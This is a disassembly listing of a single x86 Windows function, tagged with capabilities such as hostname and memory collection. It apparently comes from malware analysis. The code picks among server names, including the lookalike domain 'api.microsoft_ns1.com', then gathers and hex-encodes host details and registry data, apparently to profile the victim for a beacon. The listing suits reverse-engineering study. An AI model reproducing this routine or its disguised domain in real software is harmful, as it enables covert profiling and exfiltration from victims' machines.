Function at 0x10003f00
Capabilities:
Get hostname
Get memory capacity
Get system information on windows
Query or enumerate registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1000d45b
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
sub esp, 0x660
push ebx
push ebp
xor ebp, ebp
push esi
cmp eax, ebp
push edi
jne 0x10003fe6
mov eax, dword [0x10013aec]
inc eax
cmp eax, 3
mov dword [0x10013aec], eax
jl 0x10003f45
mov dword [0x10013aec], ebp
jmp 0x10003f49
cmp eax, ebp
jne 0x10003f7f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.api.microsoft_ns1.com
call ebx
test eax, eax
jle 0x10003f78
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.api.microsoft_ns1.com
push 0x10013a6c
call esi
mov eax, dword [0x10010370]
mov dword [0x10013af0], eax
jmp 0x10003ff2
mov eax, dword [0x10013aec]
jmp 0x10003f85
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jne 0x10003fb8
push 0x10010374
call ebx
test eax, eax
jle 0x10003fb3
push 0x10010374
push 0x10013a6c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x100103b4]
mov dword [0x10013af0], ecx
jmp 0x10003fec
mov eax, dword [0x10013aec]
cmp eax, 2
jne 0x10003fec
push 0x100103b8
call ebx
test eax, eax
jle 0x10003fec
push 0x100103b8
push 0x10013a6c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x100103f8]
mov dword [0x10013af0], edx
jmp 0x10003fec
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [esp + 0x684], ebp
je 0x10004011
push str.api.microsoft_ns1.com
push 0x10013a6c
call esi
mov eax, dword [0x10010370]
mov dword [0x10013af0], eax
cmp dword [0x10013af0], ebp
jne 0x10004020
push 0x10013a6c
jmp 0x10004025
push str.bing.com
push 0x10013aac
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x2d5]
mov byte [esp + 0x2d4], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push ecx
push 1
stosw word es:[edi], ax
push ebp
push str.SoftwareODBC
push 0x80000002
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100040af
lea edx, [esp + 0x2c]
lea eax, [esp + 0x2d4]
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x38]
push eax
push ecx
push ebp
push 0x10010258
push edx
mov dword [esp + 0x44], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100040af
lea eax, [esp + 0x2d4]
push eax
call ebx
test eax, eax
jne 0x100040af
lea ecx, [esp + 0x2d4]
push 0x10013630
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10003010
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [esp + 0x2d8]
push eax
push str._s_s
push 0x10013af4
call esi
push 0x10013af4
call fcn.100030c0
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x2d], ecx
lea edi, [esp + 0x61]
mov dword [esp + 0x31], ecx
add esp, 0x14
mov dword [esp + 0x21], ecx
lea edx, [esp + 0x28]
mov word [esp + 0x25], cx
push edx
mov byte [esp + 0x2b], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x50], cl
mov ecx, 8
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x1c], 0
push eax
mov word [esp + 0x19], bp
mov dword [esp + 0x30], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x18]
push ecx
call ebx
mov ebx, eax
cmp ebx, 0x1e
jle 0x10004148
mov ebx, 0x1e
xor edi, edi
cmp ebx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
jle 0x1000417b
xor edx, edx
lea eax, [esp + 0x10]
mov dl, byte [esp + edi + 0x18]
push edx
push str._02x
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x4c]
push ecx
push edx
call ebp
inc edi
cmp edi, ebx
jl 0x10004154
push 0x1001024c
push 0x10013af4
push str._s_s
push 0x10013b14
call esi
lea eax, [esp + 0x5c]
push eax
push 0x10010248
push 0x10013af4
push str._s_s_s
push 0x10013b94
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4f9]
mov byte [esp + 0x4f8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1f9]
mov byte [esp + 0x1f8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x3f9]
mov byte [esp + 0x3f8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x3f8]
push ecx
stosb byte es:[edi], al
call fcn.10003190
add esp, 0x28
lea edx, [esp + 0x3d4]
lea eax, [esp + 0xd4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x74]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x70]
mov dword [esp + 0x70], 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
lea edx, [esp + 0x4d4]
push 0x100
push edx
push eax
push ecx
call dword [sym.imp.SHLWAPI.dll_StrFormatByteSize64A]
lea edx, [esp + 0xd4]
push 0x1001023c
push edx
call ebp
lea eax, [esp + 0x4d4]
lea ecx, [esp + 0xd4]
push eax
push ecx
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0xd4]
push edx
xor edi, edi
call ebx
test eax, eax
jle 0x100042e9
xor eax, eax
lea ecx, [esp + 0x10]
mov al, byte [esp + edi + 0xd4]
push eax
push str._02x
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x1d4]
push edx
push eax
call ebp
lea ecx, [esp + 0xd4]
inc edi
push ecx
call ebx
cmp edi, eax
jl 0x100042b2
lea edx, [esp + 0x1d4]
push edx
push 0x10010238
push 0x10013af4
push str._s_s_s
push 0x10013c14
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1e8]
add esp, 0x14
rep stosd dword es:[edi], eax
lea eax, [esp + 0xb0]
xor edi, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [esp + 0x5d4]
mov dword [esp + 0x5d4], 0x9c
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000434e
mov edi, dword [esp + 0xc4]
push str.v1.0
call dword [sym.imp.KERNEL32.dll_GetACP]
push eax
call fcn.10004470
push eax
push edi
lea edx, [esp + 0xe4]
push str._dCore_dMhz__u__s
push edx
call esi
add esp, 0x18
lea eax, [esp + 0xd4]
xor edi, edi
push eax
call ebx
test eax, eax
jle 0x100043ba
xor ecx, ecx
lea edx, [esp + 0x10]
mov cl, byte [esp + edi + 0xd4]
push ecx
push str._02x
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1d4]
push eax
push ecx
call ebp
lea edx, [esp + 0xd4]
inc edi
push edx
call ebx
cmp edi, eax
jl 0x10004383
lea eax, [esp + 0x1d4]
push eax
push 0x10010220
push 0x10013af4
push str._s_s_s
push 0x10013c94
call esi
push 0x1001021c
push 0x10013af4
push str._s_s
push 0x10013d14
call esi
add esp, 0x24
lea ecx, [esp + 0x38]
call fcn.10001000
mov eax, dword [0x10013660]
mov edx, dword [0x1001365c]
mov ecx, eax
mov dword [esp + 0x678], 0
cmp eax, ecx
je 0x10004429
mov esi, dword [eax]
add eax, 4
mov dword [edx], esi
add edx, 4
cmp eax, ecx
jne 0x10004416
mov eax, dword [0x10013660]
push 0x10013658
lea ecx, [esp + 0x3c]
mov dword [esp + 0x34], eax
mov dword [0x10013660], edx
call fcn.10001f50
lea ecx, [esp + 0x38]
mov dword [esp + 0x678], 0xffffffff
call fcn.10001030
mov ecx, dword [esp + 0x670]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x66c
ret